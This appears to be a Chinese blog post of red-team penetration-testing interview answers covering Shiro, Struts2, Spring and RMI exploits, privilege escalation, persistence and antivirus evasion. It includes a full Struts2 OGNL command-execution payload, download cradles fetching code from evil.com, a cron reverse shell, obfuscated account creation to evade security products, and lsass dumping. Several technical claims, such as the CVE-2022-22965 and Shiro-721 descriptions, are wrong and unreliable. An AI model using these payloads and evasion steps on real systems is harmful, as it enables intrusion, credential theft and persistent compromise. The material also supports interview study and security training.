当前位置: 首页 > news >正文

2025年渗透测试面试题总结-渗透测试红队面试七(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

渗透测试红队面试七

一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?

一百八十二、HVV三大洞

一百八十三、天擎终端防护绕过思路

一百八十四、免杀木马的思路

一百八十五、JSONP与CORS跨域危害

一百八十六、外网打点进入内网案例

一百八十七、RMI利用原理

一百八十八、域内普通用户利用

一百八十九、宝塔禁止PHP函数绕过

一百九十、证书透明度的危害

一百九十一、内网渗透降权的作用

一百九十二、Webshell有SYSTEM权限但无法执行命令

一百九十三、TrustedInstaller权限原理

一百九十四、2008服务权限提权

一百九十五、Windows UAC原理

一百九十六、绕过火绒/360添加用户

一百九十七、伪造钓鱼邮箱与风险

一百九十八、默认端口

一百九十九、XSS组合拳Getshell

二百、烂土豆(Rotten Potato)提权原理

二百〇一、PowerShell免杀制作

二百〇二、绕过内存Hash提取查杀

二百〇三、Linux/Windows权限维持

二百〇四、蓝队与红队工作流程

二百〇五、Shellcode嵌入正常EXE

二百〇六、Spring框架漏洞

二百〇七、Struts2漏洞利用原理

二百〇八、PHP/Java反序列化漏洞原理与修复

二百〇九、CRLF注入原理

二百一十、PHP LFI漏洞

渗透测试红队面试七

一百八十一、shiro漏洞类型,721原理,721利用要注意什么?一百八十二、hvv三大洞?一百八十三、天擎终端防护如何绕过,绕过思路?一百八十四、免杀木马的思路?一百八十五、jsonp跨域的危害,cors跨域的危害?一百八十六、说出印象比较深刻的一次外网打点进入内网?一百八十七、rmi的利用原理?一百八十八、域内的一个普通用户(非域用户)如何进行利用?一百八十九、宝塔禁止PHP函数如何绕过?一百九十、证书透明度的危害?一百九十一、内网渗透降权的作用?一百九十二、webshell有system权限但无法执行命令,怎么办?一百九十三、TrustedInstall权限的原理是什么?一百九十四、2008的服务权限如何进行提权?一百九十五、Windows UAC原理是什么?一百九十六、Windows添加用户如何绕过火绒以及360?一百九十七、如何伪造钓鱼邮箱?会面临什么问题?一百九十八、分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。一百九十九、XSS如何配合组合拳进行getshell。二百、烂土豆提权使用过吗?它的原理?二百〇一、powershell免杀怎么制作?二百〇二、提取内存hash被查杀,如何绕过?二百〇三、分别说下linux、windows的权限维持?二百〇四、如何开展蓝队工作?如何开展红队工作?二百〇五、如何把shellcode嵌入到正常exe中?二百〇六、描述下Spring框架的几个漏洞?二百〇七、说下strust2的漏洞利用原理?二百〇八、php/java反序列化漏洞的原理?解决方案?二百〇九、CRLF注入的原理二百一十、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?

  1. 漏洞类型
    • 反序列化漏洞(Shiro-550):因硬编码密钥导致攻击者伪造RememberMe Cookie,利用Apache Commons Collections链执行任意代码。
    • 权限绕过漏洞(CVE-2020-1957等):URL路径解析缺陷(如/admin/被解析为/admin绕过鉴权)。
    • Padding Oracle攻击(Shiro-721):CBC加密模式填充错误漏洞,可破解密钥伪造恶意Cookie。
  2. Shiro-721原理
    • 攻击者需先获取合法用户的RememberMe Cookie(需高权限账户)。
    • 利用CBC加密的填充错误机制,通过多次请求(约数千次)逐字节爆破AES密钥。
    • 最终构造恶意序列化数据,触发反序列化漏洞执行代码。
  3. 利用注意事项
    • 需要稳定的网络环境(避免请求失败中断爆破)。
    • 目标需开启RememberMe功能且使用默认AES加密模式。
    • 攻击时间较长,需隐蔽操作避免触发告警。

一百八十二、HVV三大洞

  1. 未授权访问
    • Redis/MongoDB未授权:直接连接执行命令或写入SSH密钥。
    • K8s API Server暴露:未鉴权下创建Pod或执行容器逃逸。
  2. 远程代码执行(RCE)
    • Web应用漏洞:如Fastjson反序列化、Log4j2 JNDI注入。
    • 中间件漏洞:如WebLogic T3协议反序列化、Apache Solr Velocity模板注入。
  3. 弱口令与默认配置
    • 系统/设备弱口令:如Tomcat默认密码admin:admin
    • 服务默认端口暴露:如Elasticsearch 9200端口未配置访问控制。

一百八十三、天擎终端防护绕过思路

  1. 进程注入与内存免杀
    • 将恶意代码注入可信进程(如svchost.exe )或通过反射型DLL加载。
    • 使用工具:Cobalt Strike的shinject、Metasploit的migrate
  2. 驱动级绕过
    • 利用已签名驱动的漏洞(如某些硬件厂商驱动)加载内核模块。
    • 例如:通过BYOVD(Bring Your Own Vulnerable Driver)攻击。
  3. 白名单程序滥用
    • 劫持系统工具执行恶意操作,如:
      • WMI:通过wmic执行远程脚本。
      • MsBuild:编译内嵌恶意代码的C#项目文件。

一百八十四、免杀木马的思路

  1. 代码混淆与加密
    • 使用AES加密Shellcode,运行时动态解密(如使用VirtualAlloc分配内存执行)。
    • 工具:sgn(Shikata Ga Nai)编码器、ConfuserEx混淆器。
  2. 合法工具加载
    • 利用微软签名的程序加载恶意代码,如:
      • Regsvr32:执行远程脚本(regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll )。
      • Mshta:运行HTA文件执行PowerShell命令。
  3. 反沙箱与反调试
    • 检测虚拟机环境(如检查进程名vmtoolsd、注册表键值)。
    • 延迟执行:通过Sleep()函数或条件触发绕过行为分析。

一百八十五、JSONP与CORS跨域危害

  1. JSONP危害
    • 敏感数据泄露:若回调函数名未过滤,攻击者可劫持返回数据(如窃取用户身份信息)。
    • CSRF攻击:结合JSONP接口实现跨站请求伪造(如修改用户密码)。
  2. CORS危害
    • 配置不当导致越权:如Access-Control-Allow-Origin: *允许任意域读取数据。
    • 结合XSS攻击:通过CORS信任域下的XSS窃取其他域的数据(如Cookie)。

一百八十六、外网打点进入内网案例

案例背景:某企业官网存在Git源码泄露,导致数据库密码暴露。
攻击链

  1. 外网突破:通过泄露的数据库密码登录后台,上传Webshell。
  2. 内网渗透:发现内网Jenkins服务(未授权访问),利用Groovy脚本执行命令。
  3. 横向移动:通过Jenkins节点获取域用户凭证,利用SMB爆破横向至域控服务器。

一百八十七、RMI利用原理

  1. 攻击面
    • RMI Registry反序列化:向Registry发送恶意对象触发反序列化(如CVE-2017-3248)。
    • 远程对象方法调用:通过动态类加载(DGC)下载恶意类文件执行代码。
  2. 利用工具
    • ysoserial:生成Gadget链Payload(如JRMPClient)。
    • Exploit步骤
       

      bash

      复制

      java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'cmd.exe /c calc'


一百八十八、域内普通用户利用

  1. 信息收集
    • PowerView:枚举域内主机(Get-NetComputer)、共享(Invoke-ShareFinder)。
    • BloodHound:分析域内权限关系,寻找攻击路径(如ACL滥用)。
  2. 横向移动
    • Pass-the-Hash:使用Mimikatz或Impacket的psexec.py 传递NTLM哈希。
    • MS17-010漏洞:利用永恒之蓝攻击未修补的主机。
  3. 提权路径
    • SeImpersonate权限滥用:使用Juicy Potato或PrintSpoofer获取SYSTEM权限。
    • 服务配置错误:利用弱权限服务路径替换DLL或EXE文件。

一百八十九、宝塔禁止PHP函数绕过

  1. 函数替代
    • 禁用system但允许shell_exec:使用shell_exec('whoami')执行命令。
    • 反引号执行echo \whoami`;`。
  2. LD_PRELOAD劫持
    • 编写恶意共享库(.so),通过putenv设置LD_PRELOAD劫持函数调用。
    • 代码示例:
       

      php

      复制

      putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','',''); // 触发新进程加载恶意库


一百九十、证书透明度的危害

  1. 子域名劫持
    • 攻击者监控证书透明度日志,发现未使用的子域并注册指向恶意服务器。
    • 例如:dev.example.com 在证书日志中存在但DNS未解析,攻击者劫持后钓鱼。
  2. 伪造证书信任链
    • 利用透明度日志中的过期证书,伪装成合法服务进行中间人攻击。

一百九十一、内网渗透降权的作用

  1. 规避检测
    • 降权至普通用户减少日志告警(如域管操作触发SIEM规则)。
  2. 权限维持隐蔽性
    • 低权限账户不易被清理(如域管定期重置密码)。

一百九十二、Webshell有SYSTEM权限但无法执行命令

  1. 权限限制分析
    • AppLocker策略:限制非白名单程序执行(如禁止cmd.exe )。
    • 杀软拦截:静态检测Webshell关键词或动态拦截恶意进程。
  2. 绕过方法
    • COM对象调用:使用WScript.Shell执行命令。
       

      php

      复制

      $wsh = new COM('WScript.Shell'); $wsh->Run('cmd.exe /c whoami', 0, false);

    • DLL侧加载:通过rundll32加载恶意DLL。

一百九十三、TrustedInstaller权限原理

  1. 权限层级
    • TrustedInstaller是Windows资源的所有者(如系统文件),权限高于SYSTEM。
  2. 提权方法
    • 通过服务配置修改:劫持TrustedInstaller服务路径加载恶意程序。
    • 利用漏洞:如CVE-2020-1048(打印服务漏洞)获取权限。

一百九十四、2008服务权限提权

  1. 服务路径劫持
    • 查找弱权限服务(accesschk.exe -uwcqv),替换其二进制文件。
  2. DLL劫持
    • 将恶意DLL放置到服务加载路径中,劫持合法DLL调用。
  3. SC命令滥用
    • 通过sc config修改服务BIN_PATH指向恶意程序。

一百九十五、Windows UAC原理

  1. 权限隔离机制
    • 默认以标准用户权限运行进程,提权需用户确认或数字签名验证。
  2. 绕过方法
    • 白名单程序滥用:如cmstp.exemsiexec.exe 执行恶意代码。
    • UAC Bypass漏洞:如CVE-2019-1388(证书对话框提权)。

一百九十六、绕过火绒/360添加用户

  1. 直接修改注册表
    • 使用reg add添加用户键值,避开用户态Hook:
       

      cmd

      复制

      reg add "HKLM\SAM\SAM\Domains\Account\Users\000003F0" /v F /t REG_BINARY /d [hex数据]

  2. Powershell绕过
    • 使用混淆脚本调用net user命令:
       

      powershell

      复制

      &('ne'+'t') u'ser' evil P@ssw0rd /add


一百九十七、伪造钓鱼邮箱与风险

  1. 伪造方法
    • 域名仿冒:注册相似域名(如examp1e.com 代替example.com )。
    • SPF记录伪造:利用SPF配置不严格(?all)绕过邮件服务器验证。
  2. 面临风险
    • DMARC检测:收件方服务器可能标记邮件为垃圾或拒收。
    • 法律风险:可能触犯《刑法》第二百八十五条(非法侵入计算机信息系统罪)。

一百九十八、默认端口

服务默认端口
Redis6379
WebLogic7001
MongoDB27017
Elasticsearch9200/9300
LDAP389/636
Samba445/139
Jenkins8080
RMI Registry1099

一百九十九、XSS组合拳Getshell

  1. XSS + CSRF
    • 通过XSS窃取管理员Cookie,伪造CSRF请求上传Webshell。
  2. XSS + CORS
    • 利用CORS配置错误,通过XSS跨域读取内网接口数据,获取敏感信息。
  3. XSS + 文件上传
    • 通过XSS劫持管理员会话,调用后台文件上传功能传马。

二百、烂土豆(Rotten Potato)提权原理

  1. 令牌模拟漏洞
    • 利用Windows本地NTLM认证流程(NTLM over localhost),将SYSTEM令牌模拟到当前进程。
  2. 利用条件
    • 需具备SeImpersonatePrivilege权限(IIS、SQL Server等默认拥有)。
  3. 攻击步骤
    • 触发本地NTLM认证,通过DCOM服务劫持端口,最终获取SYSTEM令牌。

二百〇一、PowerShell免杀制作

  1. 代码混淆
    • 使用Invoke-Obfuscation工具混淆脚本:
       

      powershell

      复制

      Invoke-Obfuscation -ScriptPath evil.ps1 -Command 'Token\All\1,Launcher\PS\124'

  2. 内存加载
    • 反射加载Shellcode:
       

      powershell

      复制

      $bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/shellcode.bin'); [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null);


二百〇二、绕过内存Hash提取查杀

  1. 定制化工具
    • 修改Mimikatz源码(如函数名、字符串特征),绕过静态检测。
  2. 直接内存读取
    • 使用C++编写工具直接读取lsass.exe 内存,避开API Hook。
  3. 合法凭证导出
    • 使用微软官方工具procdump导出内存镜像,本地解析:
       

      cmd

      复制

      procdump.exe -ma lsass.exe lsass.dmp


二百〇三、Linux/Windows权限维持

LinuxWindows
1. SSH后门:修改~/.ssh/authorized_keys添加攻击者公钥。1. 注册表启动项HKLM\Software\Microsoft\Windows\CurrentVersion\Run添加恶意路径。
2. Cron定时任务:添加* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'2. 计划任务schtasks /create /tn "Update" /tr "C:\evil.exe" /sc minute /mo 1
3. SUID提权chmod +s /bin/bash,通过bash -p获取root权限。3. 服务后门:创建服务指向恶意程序,sc create EvilService binPath= "C:\evil.exe"

二百〇四、蓝队与红队工作流程

蓝队(防御)

  1. 监控与分析:通过SIEM(如Splunk)实时分析日志,检测异常行为(如异常登录、横向移动)。
  2. 威胁狩猎:使用EDR工具(如CrowdStrike)主动搜寻隐藏威胁。
  3. 应急响应:隔离受感染主机,分析攻击链,修复漏洞并溯源攻击者。

红队(攻击模拟)

  1. 情报收集:通过OSINT(如Shodan、Hunter.io )收集目标信息。
  2. 漏洞利用:模拟APT攻击链(如鱼叉邮件钓鱼+内网渗透)。
  3. 报告输出:提供详细攻击路径与防御建议(如加固建议、检测规则)。

二百〇五、Shellcode嵌入正常EXE

  1. 资源文件插入
    • 使用Visual Studio将Shellcode作为资源文件嵌入,运行时加载执行:
       

      cpp

      复制

      HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); LPVOID pShellcode = LockResource(LoadResource(NULL, hRes));

  2. 附加节区注入
    • 使用CFF Explorer在PE文件中添加新节区,写入Shellcode并修改入口点。
  3. 进程镂空(Process Hollowing)
    • 创建合法进程(如svchost.exe ),卸载其内存,写入Shellcode并执行。

二百〇六、Spring框架漏洞

  1. CVE-2022-22963(SpEL注入)
    • 攻击者通过spring-cloud-function的SpEL表达式执行任意命令。
  2. CVE-2022-22965(JDBC注入)
    • 利用Spring MVC参数绑定漏洞,通过恶意请求修改JDBC URL触发RCE。
  3. CVE-2018-1273(远程代码执行)
    • 通过Spring Data Commons的嵌套属性绑定漏洞执行OGNL表达式。

二百〇七、Struts2漏洞利用原理

  1. OGNL表达式注入
    • 攻击者通过恶意参数(如Content-Typefilename)注入OGNL表达式。
    • 示例(CVE-2017-5638):
       

      http

      复制

      POST /struts2-showcase/upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


二百〇八、PHP/Java反序列化漏洞原理与修复

  1. 漏洞原理
    • PHPunserialize()函数触发魔术方法(如__wakeup()__destruct())执行代码。
    • JavareadObject()方法反序列化恶意对象,触发Gadget链(如Apache Commons Collections)。
  2. 修复方案
    • 输入过滤:避免反序列化用户可控数据。
    • 安全配置:PHP禁用危险类(phar.readonly=On ),Java使用SerialKiller库过滤类。

二百〇九、CRLF注入原理

  1. 攻击场景
    • 注入\r\n分割HTTP头,如:
       

      http

      复制

      GET /%0d%0aSet-Cookie:evil=value HTTP/1.1

      服务器响应:
       

      http

      复制

      HTTP/1.1 200 OK Set-Cookie: evil=value

  2. 利用后果
    • 设置恶意Cookie、缓存投毒(如X-Forwarded-For头伪造IP)。

二百一十、PHP LFI漏洞

  1. 漏洞代码示例
     

    php

    复制

    <?php $page = $_GET['page']; include($page . '.html'); ?>

    • 攻击者可传入page=../../etc/passwd%00,利用空字节截断后缀。
  2. 手工挖掘技巧
    • 路径遍历测试?page=..%2f..%2fetc/passwd
    • 伪协议利用?page=php://filter/convert.base64-encode/resource=index.php 读取源码。
  3. 无回显文件遍历
    • 时间盲注:通过include延时判断文件存在性(如/proc/self/cwd/路径遍历)。
    • 错误触发:包含不存在的文件触发Warning日志,观察服务器响应差异。

相关文章:

2025年渗透测试面试题总结-渗透测试红队面试七(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 渗透测试红队面试七 一百八十一、Shiro漏洞类型&#xff0c;721原理&#xff0c;721利用要注意什么&am…...

Mysql的索引,慢查询和数据库表的设计以及乐观锁和悲观锁

设计高性能数据表的原则 数据库设计经验和技巧 单张数据表的字段不宜过多&#xff08;20个&#xff09;&#xff0c;如果确实存在大量field,考虑拆成多张表或json text存储 数据表字段都是not null的&#xff0c;即使没有数据&#xff0c;最好也使用无意义的值填充&#xff0c…...

day012-软件包管理专题

文章目录 1. 生成随机密码2. 软件包管理2.1 类红帽系统2.1.1 安装软件包2.1.2 查找软件包2.1.3 查看软件包内容2.1.4 查看命令或文件属于哪个软件包2.1.5 重新安装软件包2.1.6 删除软件包2.1.7 升级2.1.8 rpm安装软件包2.1.9 rpm升级软件包2.1.10 rpm检查软件包文件是否改变 3.…...

学习黑客5 分钟深入浅出理解Windows Firewall

5 分钟深入浅出理解Windows Firewall &#x1f525; 大家好&#xff01;今天我们将探索Windows防火墙——这是Windows操作系统中的核心安全组件&#xff0c;负责控制进出计算机的网络流量。无论你是计算机初学者&#xff0c;还是在TryHackMe等平台上学习网络安全的爱好者&…...

node .js 启动基于express框架的后端服务报错解决

问题&#xff1a; node .js 用npm start 启动基于express框架的后端服务报错如下&#xff1a; /c/Program Files/nodejs/npm: line 65: 26880 Segmentation fault "$NODE_EXE" "$NPM_CLI_JS" "$" 原因分析&#xff1a; 遇到 /c/Program F…...

feign.RequestInterceptor 简介-笔记

1. feign.RequestInterceptor 简介 Feign 是一个声明式 Web 服务客户端&#xff0c;用于简化 HTTP 请求的编写与管理。feign.RequestInterceptor 是 Feign 提供的一个接口&#xff0c;用于在请求发出之前对其进行拦截和修改。这在微服务架构中非常有用&#xff0c;比如在请求中…...

软考错题(四)

在程序执行过程中&#xff0c;高速缓存cache与主存间的地址映射由硬件自动完成 以下关于两个浮点数相加运算的叙述中&#xff0c;正确的是首先进行对阶&#xff0c;阶码小的向阶码大的对齐 认证只能阻止主动攻击不能阻止被动攻击 BGP是外部网关协议 查看端口信息&#xff1…...

SSRF相关

SSRF(Server Side Request Forgery,服务器端请求伪造)&#xff0c;攻击者以服务器的身份发送一条构造好的请求给服务器所在地内网进行探测或攻击。 产生原理&#xff1a; 服务器端提供了能从其他服务器应用获取数据的功能&#xff0c;如从指定url获取网页内容、加载指定地址的图…...

供应链学习

供应链安全 供应链&#xff1a;整个业务系统中的节点&#xff08;一般是上游节点&#xff09; 乙方一般提供资源&#xff1a;人 软件 硬件 服务 如何寻找供应链 1.招投标信息&#xff1a;寻标包 例如&#xff1a;烟草 智能办公 2.网站本身指纹 例如&#xff1a; powered by xxx…...

力扣HOT100之二叉树:226. 翻转二叉树

这道题很简单&#xff0c;用递归来做&#xff0c;对于一个根节点来说&#xff0c;有两种情况我们不需要翻转&#xff1a;一是根节点为空&#xff0c;二是根节点为叶子节点。这很容易理解&#xff0c;当传入的节点不满足上面的两种情况时&#xff0c;我们就需要做一个翻转&#…...

如何让rabbitmq保存服务断开重连?保证高可用?

在 Spring Boot 集成 RabbitMQ 时&#xff0c;可以通过以下几种方式让 RabbitMQ 保存服务断开重连&#xff0c;以保证高可用&#xff1a; 配置自动重连 application.properties 配置 &#xff1a;在 Spring Boot 的配置文件 application.properties 中&#xff0c;可以设置 Ra…...

TCPIP详解 卷1协议 九 广播和本地组播(IGMP 和 MLD)

9.1——广播和本地组播&#xff08;IGMP 和 MLD&#xff09; IPv4可以使用4种IP地址&#xff1a;单播&#xff08;unicast&#xff09;、任播&#xff08;anycast&#xff09;、组播&#xff08;multicast&#xff09;和广播&#xff08;broadcast&#xff09;。 IPv6可以使用…...

全球变暖-bfs

1.不沉的就是4个方向没有海&#xff0c;一个大岛屿有一个不沉就行了&#xff0c;其余染色就好了 2.第一个bfs来统计总岛屿个数 3.第二个来统计不沉岛屿个数 4.一减就ac啦 #include<bits/stdc.h> using namespace std; #define N 100011 typedef long long ll; typede…...

DDD领域驱动开发

1. 现象: 软件设计质量最高的时候是第一次设计的那个版本&#xff08;通常是因为第一次设计时&#xff0c;业务技术沟通最充分&#xff0c;从业务技术整体视角出发设计系统&#xff09;。当第一个版本设计上线以后就开始各种需求变更&#xff0c;这常常又会打乱原有的设计。 2…...

【HarmonyOS 5】鸿蒙App Linking详解

【HarmonyOS 5】鸿蒙App Linking详解 一、前言 HarmonyOS 的 App Linking 功能为开发者提供了一个强大的工具&#xff0c;通过创建跨平台的深度聚合链接&#xff0c;实现用户在不同场景下的无缝跳转&#xff0c;极大地提升了用户转化率和应用的可用性。 其安全性、智能路由和…...

Android Studio 中 build、assemble、assembleDebug 和 assembleRelease 构建 aar 的区别

上一篇&#xff1a;Tasks中没有build选项的解决办法 概述&#xff1a; 在构建 aar 包时通常会在下面的选项中进行构建&#xff0c;但是对于如何构建&#xff0c;选择哪种方式构建我还是处于懵逼状态&#xff0c;所以我整理了一下几种构建方式的区别以及如何选择。 1. build…...

【爬虫】12306查票

城市代码&#xff1a; 没有加密&#xff0c;关键部分&#xff1a; 完整代码&#xff1a; import json import requests with open(rE:\学习文件夹&#xff08;关于爬虫&#xff09;\项目实战\12306\城市代码.json,r,encodingutf-8) as f:city_codef.read() city json.loads(c…...

火山RTC 7 获得远端裸数据

一、获得远端裸数据 1、获得h264数据 1&#xff09;、远端编码后视频数据监测器 /*** locale zh* type callback* region 视频管理* brief 远端编码后视频数据监测器<br>* 注意&#xff1a;回调函数是在 SDK 内部线程&#xff08;非 UI 线程&#xff09;同步抛出来的&a…...

请求参数:Header 参数,Body 参数,Path 参数,Query 参数分别是什么意思,什么样的,分别通过哪个注解获取其中的信息

在API开发中&#xff08;如Spring Boot&#xff09;&#xff0c;请求参数可以通过不同方式传递&#xff0c;对应不同的注解获取。以下是 Header参数、Body参数、Path参数、Query参数 的区别及对应的注解&#xff1a; Header 参数 ​ • 含义&#xff1a;通过HTTP请求头&#x…...

【Web/HarmonyOS】采用ArkTS+Web组件开发网页嵌套的全屏应用

文章目录 1、简介2、效果3、在ArkTs上全屏Web3.1、创建ArkTS应用3.2、修改模块化配置&#xff08;module.json5&#xff09;3.3、修改系统栏控制&#xff08;ArkTS代码&#xff09; 4、双网页嵌套Web实现5、ArkTSWeb技术架构的演进 1、简介 在鸿蒙应用开发领域&#xff0c;技术…...

Leetcode (力扣)做题记录 hot100(34,215,912,121)

力扣第34题&#xff1a;在排序数组中查找第一个数和最后一个数 34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣&#xff08;LeetCode&#xff09; class Solution {public int[] searchRange(int[] nums, int target) {int left 0;int right nums.length - 1;int[…...

Babylon.js学习之路《三、创建你的第一个 3D 场景:立方体、球体与平面》

文章目录 1. 引言&#xff1a;从零构建一个 3D 场景1.1 目标与成果预览1.2 前置条件 2. 初始化 Babylon.js 场景2.1 创建 HTML 骨架2.2 初始化引擎与场景 3. 创建基础几何体3.1 立方体&#xff08;Box&#xff09;3.2 球体&#xff08;Sphere&#xff09;3.3 平面&#xff08;P…...

Go 语言即时通讯系统开发日志-day1:从简单消息收发 Demo 起步

Go语言即时通讯系统开发日志day1&#xff0c;主要模拟实现的一个简单的发送消息和接受消息的小demo&#xff0c;因为也才刚学习go语言的语法&#xff0c;对go的json、net/http库了解不多&#xff0c;所以了解了一下go语言的encoding/json库和net/http库&#xff0c;以及websock…...

AAAI-2025 | 中科院无人机导航新突破!FELA:基于细粒度对齐的无人机视觉对话导航

作者&#xff1a;Yifei Su, Dong An, Kehan Chen, Weichen Yu, Baiyang Ning, Yonggen Ling, Yan Huang, Liang Wang 单位&#xff1a;中国科学院大学人工智能学院&#xff0c;中科院自动化研究所模式识别与智能系统实验室&#xff0c;穆罕默德本扎耶德人工智能大学&#xff0…...

中科院无人机导航物流配送的智能变革!LogisticsVLN:基于无人机视觉语言导航的低空终端配送系统

作者&#xff1a;Xinyuan Zhang, Yonglin Tian, Fei Lin, Yue Liu, Jing Ma, Kornlia Sra Szatmry, Fei-Yue Wang 单位&#xff1a;中国科学院大学人工智能学院&#xff0c;中科院自动化研究所多模态人工智能系统国家重点实验室&#xff0c;澳门科技大学创新工程学院工程科学系…...

IP协议、以太网包头及UNIX域套接字

IP协议、以太网包头及UNIX域套接字 IP包头结构 IP协议是互联网的核心协议之一&#xff0c;其包头包含了丰富的信息来控制数据包的传输。让我们详细解析IPv4包头结构&#xff1a; 4位版本号(version)&#xff1a;标识IP协议版本&#xff0c;IPv4值为4 4位首部长度(header len…...

普林斯顿数学三剑客读本分析。

这几天看了普斯林顿数学三剑客&#xff0c;主要看了微积分、概率论前半部分&#xff0c;数学分析看了目录&#xff0c;大体略读了一下。怎么说呢&#xff0c;整体上来看&#xff0c;是很不错的&#xff0c;适合平常性阅读&#xff0c;配套结合国内教材习题来深入还是很不错的。…...

Matlab 模糊pid的液压舵机伺服系统

1、内容简介 Matlab 235-模糊pid的液压舵机伺服系统 可以交流、咨询、答疑 2、内容说明 略 舵机是轮船&#xff0c;客机等机器控制系统的重要组成部分&#xff0c;是客机&#xff0c;战斗机等飞行器操作系统的关键部件&#xff0c;也是一种超高的精度的位置伺服系统&#xff…...

Linux基础命令之目录管理——了解各种操作文件目录的命令,万字教学,超详细!!!(1)

文章目录 前言1、Linux文件系统1.1 核心特点1.2 重要目录结构1.3 文件类型1.4 文件和目录的命名规则1.5 文件与目录的定位方式 2、查看目录或文件的详细信息&#xff08;ls&#xff09;2.1 基本语法2.2 常用操作2.3 高级用法 3、切换目录&#xff08;cd&#xff09;3.1 常用操作…...

中国黄土高原中部XF剖面磁化率和粒度数据

时间分辨率&#xff1a;1000年 < x空间分辨率为&#xff1a;空共享方式&#xff1a;申请获取数据大小&#xff1b;35.75 KB数据时间范围&#xff1a;743-0 ka元数据更新时间&#xff1a;2023-08-15 数据集摘要 该数据集包括中国黄土高原中部XF剖面磁化率和粒度数据。将所有…...

tabs切换#

1、html <el-tabs v-model"tabValue" tab-change"handleTabClick"><el-tab-pane label"集群" name"1"></el-tab-pane><el-tab-pane label"节点" name"2"></el-tab-pane></el-ta…...

免费Office图片音频高效提取利器

软件介绍 今天要给大家介绍一款非常好用的Office文档图片及音频提取工具&#xff0c;它不仅好用&#xff0c;而且完全免费&#xff0c;没有任何广告。 软件概况 这款名为Office File Picture Extractor&#xff08;PPT图片提取&#xff09;的软件&#xff0c;大小仅有4MB。打…...

迁移 Visual Studio Code 设置和扩展到 VSCodium

本文同步发布在个人博客 迁移 Visual Studio Code 设置和扩展到 VSCodium - 萑澈的寒舍https://hs.cnies.org/archives/vscodium-migrateVisual Studio Code&#xff08;以下简称 VS Code&#xff09;无疑是当下最常用的代码编辑器。尽管微软的 VS Code 源代码采用 MIT 协议开…...

1.7 方向导数

&#xff08;底层逻辑演进脉络&#xff09;从"单车道"到"全路网"的导数进化史&#xff1a; 一、偏导数奠基&#xff08;1.6核心&#xff09; 诞生背景&#xff1a;多元函数分析需求 当变量间存在耦合关系时&#xff08;如房价面积单价装修成本&#xff09…...

深入理解目标检测中的关键指标及其计算方法

深入理解目标检测中的关键指标及其计算方法 在目标检测领域&#xff0c;评估模型性能时&#xff0c;我们通常会关注几个关键指标&#xff0c;这些指标帮助我们量化模型的准确性和有效性。本文将详细介绍这些常见指标及其计算方法&#xff0c;帮助你更好地理解和评估目标检测模…...

Ollama+OpenWebUI+docker完整版部署,附带软件下载链接,配置+中文汉化+docker源,适合内网部署,可以局域网使用

前言&#xff1a; 因为想到有些环境可能没法使用外网的大模型&#xff0c;所以可能需要内网部署&#xff0c;看了一下ollama适合小型的部署&#xff0c;所以就尝试了一下&#xff0c;觉得docker稍微简单一点&#xff0c;就做这个教程的&#xff0c;本文中重要的内容都会给下载…...

【Redis实战篇】分布式锁-Redisson

1. 分布式锁-redisson功能介绍 基于setnx实现的分布式锁存在下面的问题&#xff1a; 重入问题&#xff1a; 重入问题是指 获得锁的线程可以再次进入到相同的锁的代码块中&#xff0c;可重入锁的意义在于防止死锁&#xff0c;比如HashTable这样的代码中&#xff0c;他的方法都…...

构造二叉树

一、由中序和后序遍历序列构造二叉树 106. 从中序与后序遍历序列构造二叉树 - 力扣&#xff08;LeetCode&#xff09; /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* …...

vue3: pdf.js 3.4.120 using javascript

npm install pdfjs-dist3.4.120 项目结构&#xff1a; pdfjsViewer.vue <template><div><div v-if"loading" class"flex justify-center items-center py-8"><div class"animate-spin rounded-full h-12 w-12 border-b-2 borde…...

编译原理AST以Babel为例进行解读、Webpack中自定义loader与plugin

AST树详解 编译原理 主要研究如何将高级编程语言的源代码转换为机器能理解的目标代码&#xff08;通常是二进制代码或中间代码&#xff09;。编译器的底层实现通常包含多个阶段&#xff0c;包括词法分析、语法分析、语义分析和代码生成。 一、AST的核心概念与作用 AST&#…...

牛客周赛 Round 92

目录 A-小红的签到题 代码 B-小红的模拟 代码 C-小红的方神题 代码 D-小红的数学题 代码 无注释版 有注释版 E-小红的ds题 代码 无注释版 有注释版 A-小红的签到题 代码 #include<bits/stdc.h> using namespace std; int main(){int n;cin>>n;cha…...

面试题:C++虚函数可以是内联函数吗?

